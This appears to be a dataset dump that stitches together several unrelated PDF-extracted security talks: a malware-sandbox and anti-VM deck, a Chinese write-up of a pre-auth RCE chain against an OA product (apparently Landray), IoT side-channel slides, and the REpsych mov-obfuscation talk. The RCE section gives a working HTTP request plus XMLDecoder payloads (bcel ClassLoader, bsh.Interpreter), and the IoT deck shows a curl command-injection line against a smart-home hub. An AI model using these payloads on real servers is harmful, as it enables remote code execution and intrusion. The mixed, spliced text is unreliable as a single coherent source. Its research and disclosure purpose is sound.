text
stringlengths 100
9.93M
| category
stringclasses 11
values |
---|---|
Inside the Matrix,How to Build Transparent
Sandbox for Malware Analysis
C.K Chen (Bletchley)
1
Who am I
C.K Chen (陳仲寬)
P.H.D Student in DSNS Lab, NCTU
Research in
Reverse Engineering
Malware Analysis
Virtual Machine
2
About DSNS
謝續平教授
實驗室研究方向
惡意程式分析
虛擬機器
數位鑑識
網路安全
3
Outline
VM for Malware Analysis
Detect Security Utilities
Out-of-Box Monitor
Emulation
Virtualization
Malware Behavior Analysis
Dynamic Taint Tracking
Cloudebug
Anti-VM
Behavior Comparison to Detect Anti-VM
4
VM for Malware Analysis
VM play an important role for nowadays for malware
analysis
Isolated Environment
Fast Recovery
5
Reverse with VM
What we are doing everyday
Automatic analysis malware:
Put monitor program into VM to keep track of malware
Reversing Malware
Put reversing tools(debugger, disassembler) into VM and reversing
VMM
Host OS
6
Detect Security Utilities
While your security utilities are placed in the same
environment, it is possible for malware to detect it’s existence
KillAV
Anti-Debugger
7
Kill AV
Malware can check the existence of anti-virus, and then stop or
bypass anti-virus
Process Name
If important function being hooked
Read Process Memory
Any software in the
same environment
with malware can be
detected
8
Anti-Debug
To confuse analyst, malware employ anti-debug to detect or
stop debug software
Everything you put into VM expose the threat
File
Process
Registry
9
Anti-Debug Example
push offset exception_handler; set exception handler
push dword ptr fs:[0h]
mov dword ptr fs:[0h],esp
xor eax,eax;reset EAX invoke int3
int 3h
pop dword ptr fs:[0h];restore exception handler
add esp,4
test eax,eax; check the flag
je rt_choke
jmp rf_choke
exception_handler:
mov eax,dword ptr [esp+0xc];EAX =
ContextRecord
mov dword ptr [eax+0xb0],0xffffffff;set flag
(ContextRecord.EAX)
inc dword ptr [eax+0xb8];set ContextRecord.EIP
xor eax,eax
retn
10
Anti-Debug Result
11
The “Ultimate Anti-Debugging” Reference
http://pferrie.host22.com/papers/antidebug.pdf
12
How can we do?
Can we move analysis tools outside the vm?
Host OS
VMM
13
Out-of-Box Monitor
Is it possible to monitor program behavior outside the VM
Out-of-Box Hooking
Virtual Machine Introspection
How can we monitor the program’s behavior outside the VM
Virtual Machine Type
Emulation
Virtualization
Virtual Machine Manager
Guest OS
User-land Process
Host OS
14
Emulation-based VM
Emulation-based VM
QEMU, Hydra, Bochs
Interpreter, Dynamic Translation
B1
B2
B3
B4
Code Cache
B1’
B2’
B3’
B4’
Translation
Add monitor
code here!
15
Monitor Based on Emulation
Temu
TTAnalyzer
Now, it become Anubis
MBA
Develop by us !
16
Identify Process
The first step of Out-of-box monitor is to identify process we
want to check
17
Monitor Execution Trace
Then we would like to monitor execution of process
Helper function
Monitor Execution
Trace
Add helper
function when
each instruction
translate
18
Malware Behavior Analyzer
MBA(Malware Behavior Analyzer)
MBA run sample in the qemu and extract it’s behavior
Produce readable report for analysts
Monitor binary,前後比較,內外比對
What MBA trace
File
Registry
Network
MBR
SSDT
…
19
Report of MBA(1)
Analysis file : cad9d083ab6de63b9ddbb08fb0fc64ad
It’s classify to TR/Inject.126976.5 by AntiVir
20
Report of MBA(1)
Analysis file : cad9d083ab6de63b9ddbb08fb0fc64ad
Modified Files
===== Files tainted =====
/Documents and Settings/dsns/NTUSER.DAT
/Documents and Settings/dsns/NTUSER.DAT.LOG*
/Documents and Settings/dsns/桌面/
cad9d083ab6de63b9ddbb08fb0fc64ad.exe
/WINDOWS/system32/config/software
/WINDOWS/system32/config/software.LOG
/WINDOWS/system32/inetsrv/inetsr.exe
21
Report of MBA(2)
Analysis file : cad9d083ab6de63b9ddbb08fb0fc64ad
Network Packets
===== Packet tainted =====
-> 168.95.1.1 , UDP 1026 -> 53 , (v 0x01 0x00 0x00 0x01 0x00 0x00 0x00 0x00 0x00 0x00
0x05 gsmof 0x06 seed01 0x03 com 0x02 tw 0x00 0x00 0x01 0x00 0x01
-> 50.115.42.145 , TCP 1027 -> 443 , 0x02 0x04 0x05 0xb4 0x01 0x01 0x04 0x02
-> 50.115.42.145 , TCP 1027 -> 443 , 0x02 0x04 0x05 0xb4 0x01 0x01 0x04 0x02
-> 50.115.42.145 , TCP 1027 -> 443 , 0x02 0x04 0x05 0xb4 0x01 0x01 0x04 0x02
-> 50.115.42.145 , TCP 1027 -> 443 , 0x02 0x04 0x05 0xb4 0x01 0x01 0x04 0x02
-> 50.115.42.145 , TCP 1027 -> 443 , 0x02 0x04 0x05 0xb4 0x01 0x01 0x04 0x02
-> 50.115.42.145 , TCP 1027 -> 443 , 0x02 0x04 0x05 0xb4 0x01 0x01 0x04 0x02
-> 50.115.42.145 , TCP 1027 -> 443 , 0x02 0x04 0x05 0xb4 0x01 0x01 0x04 0x02
22
Report of MBA(3)
Analysis file : cad9d083ab6de63b9ddbb08fb0fc64ad
Modified Registries
Created Process
===== Registry tainted =====
/WINDOWS/system32/config/SOFTWARE/Microsoft/Active Setup/Installed Components/
{181E2749-8F28-E14F-ECEF-F89FC5739401} StubPath REG_SZ c:\windows\system32\inetsrv
\inetsr.exe
/WINDOWS/system32/config/SOFTWARE/Microsoft/Cryptography/RNG Seed REG_BINARY
/Documents and Settings/dsns/ntuser.dat/Software/Microsoft/Windows/ShellNoRoam/MUICache C:
\DOCUME~1\dsns\LOCALS~1\Temp\anyexe.bat REG_SZ anyexe
===== Process tainted =====
cad9d083ab6de63, 904
svchost.exe, 876
23
Demo
As my experience, this demo will make my pc halt for a
while, so we leave it to end of presentation.
24
Dynamic Taint Tracking
Dynamic taint tracking is useful tool for binary analysis
Precise track influence data of certain event
Eliminate un-related event/data
Concept of Infection
Data = readFile(private)
EncData= encrypt(Data)
Prefix = some string
Send(Prefix)
Send(Data)
Close()
private
Data
Prefic
Data
EncData
EncData
25
Taint Source
What we want to track
File
Network
Executables
….
Private in previous example
26
Taint Propagate
How to propagate taint tag
These rules describe how data flow corresponding to each
behavior
27
Taint Sink
Where we want to check taint status
Send() in our example
Example
Taint Source : sensitiveFile
Taint Sink : sendPkt()
Content = readFile(“sensitiveFile”);
Encode = “”
For i in content :
encode<= encode + i ^ ff
sendPkt(encode)
28
Other Application of Taint
Detect software vulnerabilities and identify possible exploit
If EIP tainted while program running
Crax use Taint/Concolic Execution to produce exploit for
software testing
There are the talk in HITCON PLG by SQLab student
Detect sensitive data leak
Detect key logger
29
Cloudebug - A User-interactive
Malware Analysis Platform
Deploy as the web service
Analysis malware without environment setting
Transparent System
Out-of-box Monitor
Out-of-box Debugging
Advanced Analysis Capability
Taint
User Friendly
Javascript API
30
Demo
31
Detect Virtual Machine
Environment
Types and samples of anti-vm technique
Hardware Characteristic Checks
Timing Checks
Emulation Bug Checks
32
Environment Characteristic
Checks
Hardware specification used to detect virtualization platform
Files
Registry
Process
Device Name
xor eax, eax
cpuid
cmp ecx, 444d4163h
jne exit
mov eax, 80000000h
cpuid
cmp eax, 2
jb exit
mov eax, 80000002h
cpuid
cmp eax, 554d4551h
je $ ;detected
VM-Check
Divergence
Point
33
Timing Checks
Timing difference between physical machine and virtual
machine can be used to detect VM
…
0x4012ce:
rdtsc
0x4012d0: mov [0x404060], %eax
0x4012d5: rdtsc
0x4012d7: mov [0x404070], %eax
0x4012dc: mov %edx, [0x404060]
0x4012e2: mov %eax, [0x404070]
0x4012e7: sub %eax, %edx
0x4012e9: cmp %eax, 0xff
0x4012ee: jle 0x4012fe
…
34
Emulation Bug Checks
Instruction emulated by software may be inconsistence to
physical machine
mov byte ptr es:[1004h], 5
mov al, fs:[1000h]
inc ax
cmpxchg8b fs:[1000h]
jmp $
VM-Check
Divergence Point
35
What is Transparent VM
Guideline from Ether
Higher Privilege
No Non-privileged Side Effects
Any privilege instruction are back to vmm and emulated by
software
Identical Basic Instruction Execution Semantics
16 rep prefix instruction will make qemu crash
Transparent Exception Handling
Identical Measurement of Time
36
Is it possible to build
Transparent VM
Construct transparent analysis VM platform
It is extremely hard to implement a transparent system
Difficult to verify the completeness
Large amount of analysis tool is not based on transparent
platform
How can we do if we don’t have such transparent VM
37
Behavior Comparison to Detect
Virtual Machine Awareness
Hybrid Emulation & Virtualization to detect Anti-VM
malware
Anti-vm technique is hard to detect all the vm platform in
one instruction
The code coverage diverge in different VM system
How to hunt anti-vm malware
Execute program in multiple VM system(or physical one if
possible)
Construct code coverage
Compare if there are something different
38
Virtualization-based VM
Virtualization-based VM
KVM, XEN, ….
Use hardware-assistant virtualization to improve the transparent
and performance
Programming Logic
Compare to emulation system which like sequential logic
Hardware-Assistant Virtualization more like event-driven model
39
Virtualization-based VM
Remind how emulation works
How Virtualization Work
Hardware
B1
B1
B1
VM exit
VM enter
40
Monitoring Scope
VM
Inst1
Inst2
Inst3
Privilege instruction
Inst 4
Inst 5
Privilege instruction
Emulator
Inst1
Inst2
Inst3
Privilege instruction
Inst 4
Inst 5
Privilege instruction
41
Monitor Based on Virtualization
Ether(XEN)
XENAccess(XEN)
VMITools(XEN, KVM)
Nitro(KVM)
….
42
Monitor System Call
System call monitor can be implement with similar concept
Make the exception every time system call happened
How system work
When system call happened by SYSENTER instruction
OS jump to privilege location defined by SYSENTER_EIP_MSR
to handle system call
Monitor system call
Replace value in SYSENTER_EIP_MSR to some invalid address
Implement exception handler to profile behavior and put correct
value back
43
Monitor Instruction Trace
While put the program to execute in virtualization system,
our software cannot direct monitor instruction trace
The instruction is directly run by CPU
Not go through VMM, which means not manipulate by
software
Enforce debug exception triggered every instructions
Setting Trap flag to enable debug trap in every instruction
VMExit happened, and VMM gain the control
Therefore we can use software to handle/profile the behavior
44
Divergence Point Locator
In our system, we use two VM system
Qemu
XEN
kvm
45
Partial Assembly Code of rdtsc
Timing Check
46
Assembly of rdtsc sample
…
0x4012ce: rdtsc
0x4012d0:
mov [0x404060], %eax
0x4012d5:
rdtsc
0x4012d7:
mov [0x404070], %eax
0x4012dc:
mov %edx, [0x404060]
0x4012e2:
mov %eax, [0x404070]
0x4012e7:
sub %eax, %edx
0x4012e9:
cmp %eax, 0xff
0x4012ee:
jle 0x4012fe
…
Result of rdtsc Timing Check
47
Code block coverage of rdtsc sample
Executed
Basic
Blocks
on
KVM
Executed
Basic
Blocks
on
QEMU
...
…
0x401260-‐0x40126a
0x401260-‐0x40126a
0x401446-‐0x401449
0x4012ba-‐0x4012ee
0x4012fe-‐0x401305(not
executed
on
QEMU)
0x401446-‐0x401449
0x4012ba-‐0x4012f7
0x401850-‐0x401850
0x401850-‐0x401850
0x40130a-‐0x401311
…
0x40130a-‐0x401311
…
Bypass Anti-VM in the Fly
Once we know the location of Anti-VM, we can make the
signature
For runtime patch the executed process
Make Anti-VM fails
48
Summary
Out-of-box monitor to defense anti-debug
Malware behavior analyzer
Taint tracking
Cloudebug
Anti-vm
Trace comparison to find out anti-vm
49
Demo
Remember that we need to demo J
50
Q & A
51 | pdf |
某凌OA前台⽆条件RCE(组合利⽤)
这个其实就是前段时间两个漏洞的结合。
1.SSRF(这⾥应该叫⽂件包含)
2.XmlDecoder反序列化
之前写了⼀个读取密码到后台JNDI的利⽤⽅式
这个⽅法也不是百分百可⾏,后⾯在塔王的提醒下发现了⼀种更为简洁的⽅式。
看⻅有师傅在打了,就放出来了。
其实主要还是在于 <c:import> 这个标签的特性。
之前也有详细介绍过。
<c:import> 标签提供了所有 < jsp:include > ⾏为标签所具有的功能,同时也允许包
含绝对 URL。
举例来说,使⽤ <c:import> 标签可以包含⼀个 FTP 服务器中不同的⽹⻚内容。
既然提供了include的所有功能,那么也可以直接去包含某些带有漏洞的路径。⽐如
Xmldecoder反序列化的地址:
/sys/search/sys_search_main/sysSearchMain.do?method=editParam
可以利⽤ <c:import> 标签进⾏包含,绕过权限验证。
POC:
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: Host
Accept: text/html,application/xhtml
Accept: text/html,application/xhtml
xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
Origin: null
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 2753
var={"body":{"file":"/sys/search/sys_search_main/sysSearchMain.do?
method=editParam"}}&fdParemNames=11&fdParameters=<payload>
由于此OA使⽤的是集成环境,JDK版本为1.7.在请教清⽔师傅后,可以利
⽤ com.sun.org.apache.bcel.internal.util.ClassLoader 去加载恶意类。
POC:
<java>
<void+class%3d"com.sun.org.apache.bcel.internal.util.ClassLoader">
<void+method%3d"loadClass"><string></string>
<void+method%3d"newInstance"></void></void></void></java>
也可以像我这种jb⼩⼦⼀样,去调bsh。因为该系统⾃带了bsh。
POC:
<java><void class="bsh.Interpreter"><void method="eval"><string>
Java Code
</string>
</void></void></java>
感谢塔王和清⽔川崎师傅的指点。 | pdf |
IOT安全 - 测信道实战
演讲人:KEVIN2600
2019
@Kevin2600
议程
. 测信道的那点事
. 测信道案例简析
. 测信道 Power Analysis
测信道的那点事
测信道攻击是一种针对软件或硬件设计缺陷, 剑走偏锋的攻击方式
攻击途径通常采用被动式监听, 或通过特殊渠道发送隐蔽数据信号
攻击点不在暴力破解, 而是通过功耗; 时序; 电磁泄漏等方式达到
破 解 目 的 . 在 很 多 物 理 隔 绝 的 环 境 中 , 往 往 也 能 出 奇 制 胜
测信道
测信道
. Public key signature check
. Bootloader 加固 (bootdelay = 0)
. 屏蔽调试端口 UART; JTAG; SPI; I2C
. 电子设备全部物理隔离 (Air Gapping)
测信道 WordPress
测信道 Drupal
测信道门禁
测信道门禁
被动式:
: 声波信号采集还原打印机原文
: 美国 NSA 电磁波监听 (TEMPEST)
: 功耗分析破解南韩公交卡密钥系统 (3DES)
: 功耗分析获取 Philipe Hue 智能灯系统密钥 (AES)
主动式:
: Xbox360 Glitch 攻击 (运行 unsigned code)
: 智能网关 Hue NAND Glitch (得到 Root 权限)
: 通过毛刺注入成功获取硬件钱包 Trezor 闪存敏感信息
: 以色列 Ben-Gurion 大学通过 USB 发送电磁信号 (USBee)
测信道案例简析
时耗分析
时耗分析
NAND-Glitch
NAND-Glitch
物联网设备网关 (WinkHub)
通过网页对其进行访问 (set_dev_value.php)
curl “192.168.01/set_dev_value.php” -d “nodeId=a&attrId=; uname -a;”
NAND-Glitch
. NAND Flash 通常存储固件; Bootloader; 内核以及root files
. 使用数据线在系统启动, 读取 NAND 内核信息瞬间, 短接 I/O pin
. 在正确的时间点, 阻止 Bootloader 读取正确的内核数据从而进入
shell 模式
NAND-Glitch
测信道 Power Analysis
功耗分析
. Power analysis (Simple & Differential)
. 处理器运行不同指令在功耗需求上也不近相同
. 需要了解目标设备所采用的加密算法
. 信号的采集必须在加密或解密的过程中完成
功耗分析
功耗分析 (ChipWhisperer)
. Colin O'Flynn 设计制作, 学习 SCA 功耗分析和毛刺注入神器
. 基于Python 跨平台开源软硬件项目 (Windows; Linux; MacOS)
. 可用于时序或电压毛刺注入攻击测试, 产生 <2nS 的脉冲信号
. 通过 DPA 差分功耗分析获取诸如 RSA; AES; 3DES 等加密密钥
功耗分析 (SPA)
. 处理器运行验证指令在功耗表现上不尽相同
. 密码验证过程功耗表现 (密码错误 -->无限循环)
. 寻找目标设备在特定时刻 (加密/解密) 功耗图形的差异
功耗分析 (SPA)
功耗分析 (DPA)
目标设备
测量方法
测量结果
功耗分析 (DPA)
功耗分析 (DPA)
功耗分析 (AES-128)
功耗分析 (DPA)
功耗分析 (电磁信号)
. 电磁波可通过 H 探头和软件无线电设备远程获取
. 芯片01转换产生电磁波从空气中泄漏, 其中包含密
钥指纹信息
. Tel Aviv 大学科研人员通过测量分析电磁发射获取
GnuPG 密钥信息
功耗分析 (电磁信号)
功耗分析 (DPA)
One More Thing ..
测信道 EMFI
测信道 EMFI
测信道 EMFI
测信道 EMFI
测信道 EMFI
Summary
百分百安全的系统并不存在
边信道分析与防御, 硬件安全必备技能
完美的设计, 实施过程中百密⼀疏, 将导致系统完全崩溃
谢谢观看
演讲人:KEVIN2600 | pdf |
REpsych
: psycholigical warfare in reverse engineering
{ def con 2015 // domas
This serves no purpose
Warning
Taking something apart …
… to figure out how it works
With software…
Interfacing
Documentation
Obsolescence
Bug fixing
Academic
Reverse Engineering?
Taking something apart …
… to figure out how it works
With software…
Military/commercial espionage
Unauthorized duplication
Security analysis
Vulnerability analysis
Malware analysis
Reverse Engineering?
Whenever we write something awesome…
Video game
Encryption algorithm
Malware
0-Day
RAT
… someone, at some point, is going to …
Capture it
Dissect it
Reverse it
Reverse Engineering?
If you don’t want your work destroyed …
… it pays to plan ahead
Anti-RE
Encryption
Obfuscation
Anti-debugging
Anti-RE
objdump –d –Mintel a.out
Reverse Engineering.
4004e9: mov DWORD PTR [rbp-0x8],0x0
4004f2: push 600004
4004f8: call printf
4004fa: pop eax
4004fc: add DWORD PTR [rbp-0x8],0x1
400500: cmp DWORD PTR [rbp-0x8],0x100
400507: jle 4004f2 <main+0xb>
mov is Turing-complete
Stephen Dolan
http://www.cl.cam.ac.uk/~sd601/papers/mov.pdf
mov
mov destination, source
mov
Any code we write …
… can be written as a set of movs instead
… and nothing else
Really?
That’d be tough to reverse engineer,
wouldn’t it?
Turing Complete?
4004e9: mov DWORD PTR [rbp-0x8],0x0
4004f2: push 600004
4004f8: call printf
4004fa: pop eax
4004fc: add DWORD PTR [rbp-0x8],0x1
400500: cmp DWORD PTR [rbp-0x8],0x100
400507: jle 4004f2 <main+0xb>
80515bc: mov eax,ds:0x835d81a
80515c1: mov ebx,DWORD PTR [eax+0x835d6fc]
80515c7: mov edx,DWORD PTR ds:0x835d7da
80515cd: mov eax,0x0
80515d2: mov al,BYTE PTR [ebx+edx*1]
80515d5: mov al,BYTE PTR [eax+0x835dc7e]
80515db: mov BYTE PTR [ebx+edx*1],al
80515de: mov eax,ds:0x835d81a
80515e3: mov ebx,DWORD PTR [eax+0x835d6fc]
80515e9: mov edx,DWORD PTR ds:0x835d7da
80515ef: mov eax,0x0
80515f4: mov al,BYTE PTR [ebx+edx*1]
mov-only C Compiler
https://github.com/xoreaxeaxeax
First single instruction C compiler!
The M/o/Vfuscator
factor 20460
prime
decss
Lost
M/o/Vfuscator
The M/o/Vfuscator
Crackmes
The M/o/Vfuscator
How would an experienced
reverse engineer approach this?
mov [dword 0x80a0451],edx
mov eax,0x0
mov ax,[0x80a0451]
mov byte [eax+0x80e17bc],0x0
mov al,[eax+0x80e17bc]
mov [0x80a0451],al
mov eax,[0x80a0556]
mov edx,[eax+0x80a058e]
mov eax,[0x80a0451]
mov eax,[eax+edx]
mov [0x80a044d],eax
mov eax,[0x80a044d]
mov eax,[eax+0x80a054e]
mov dword [eax],0x139
mov eax,[0x80a044d]
mov eax,[eax+0x80a055e]
mov dword [eax],0x0
mov eax,[0x80a044d]
mov eax,[eax+0x80a056e]
mov dword [eax],0x4
mov eax,[0x80a0556]
mov eax,[eax+0x80a05a6]
mov [0x80a0451],eax
mov eax,0x0
mov ax,[0x80a0546]
mov byte [eax+0x80e17bc],0x0
mov al,[eax+0x80e17bc]
mov [0x80a044d],al
mov eax,[0x80a044d]
mov edx,[eax+0x80a058e]
mov eax,[0x80a0451]
mov eax,[eax+edx]
mov [0x80a044d],eax
mov eax,[0x80a0566]
mov eax,[eax+0x80a05a6]
mov [0x80a0451],eax
mov eax,[0x80a044d]
mov edx,[eax+0x80a058e]
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a0438]
mov edx,[dword 0x80a0516]
mov eax,0x0
mov al,[ebx+edx]
mov al,[eax+0x80a09ba]
mov edx,[eax+0x80a058e]
mov eax,[0x80a0451]
mov [dword 0x80a0451],edx
mov eax,0x0
mov ax,[0x80a0451]
mov byte [eax+0x80e17bc],0x0
mov al,[eax+0x80e17bc]
mov [0x80a0451],al
mov eax,[0x80a0556]
mov edx,[eax+0x80a058e]
mov eax,[0x80a0451]
mov eax,[eax+edx]
mov [0x80a044d],eax
mov eax,[0x80a044d]
mov eax,[eax+0x80a054e]
mov dword [eax],0x139
mov eax,[0x80a044d]
mov eax,[eax+0x80a055e]
mov dword [eax],0x0
mov eax,[0x80a044d]
mov eax,[eax+0x80a056e]
mov dword [eax],0x4
mov eax,[0x80a0556]
mov eax,[eax+0x80a05a6]
mov [0x80a0451],eax
mov eax,0x0
mov ax,[0x80a0546]
mov byte [eax+0x80e17bc],0x0
mov al,[eax+0x80e17bc]
mov [0x80a044d],al
mov eax,[0x80a044d]
mov edx,[eax+0x80a058e]
mov eax,[0x80a0451]
mov eax,[eax+edx]
mov [0x80a044d],eax
mov eax,[0x80a0566]
mov eax,[eax+0x80a05a6]
mov [0x80a0451],eax
mov eax,[0x80a044d]
mov edx,[eax+0x80a058e]
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a051e]
mov eax,[ebx]
mov edx,0x0
mov dx,[eax+eax+0x80c0bba]
mov [ebx],edx
mov eax,[0x80a0556]
mov ebx,[eax+0x80a0438]
mov edx,[dword 0x80a0516]
mov eax,0x0
mov al,[ebx+edx]
mov al,[eax+0x80a09ba]
mov edx,[eax+0x80a058e]
mov eax,[0x80a0451]
Anti-RE
Code doesn’t have to be hard to reverse
Just need to make the reverser give up
Realization
Demoralization
Break down the reverser
Psychological Warfare
How else can we make a reverser quit?
Psychological Warfare
Sending messages…
..cantor.dust..
Visualize data patterns
Default: entropy distribution
..cantor.dust..
..cantor.dust..
Send a message?
Run a message through an inverse Hilbert transform
Rebuild program to match desired entropy
..cantor.dust..
..cantor.dust..
Strings?
Sending messages
These are horrible…
No one will ever see the message
And if they do, they won’t care
Need something better…
Sending messages
IDA
IDA
Control flow graphs…
IDA…
Hopper…
BinNavi…
Radare…
We’ll look at IDA
But the algorithm will work on anything
IDA
If you stare at these control graphs long enough…
… they almost start to look like things
Idea…
Could we send a message through a CFG?
Reverse engineer IDA?
Yep!
Drawing with CFGs
Draw horizontal lines:
Switch
“Orphan” jumps
jmp a
jmp a
jmp a
jmp a
jmp a
jmp a
a:
Idea 1
Draw vertical lines:
Non-branching code
nop
nop
nop
nop
nop
nop
Idea 1
Combining the two
Etch-a-sketch, in IDA!
Idea 1
top:
jmp left
jmp top_end
… ; repeat
jmp right_side
top_end:
jmp $
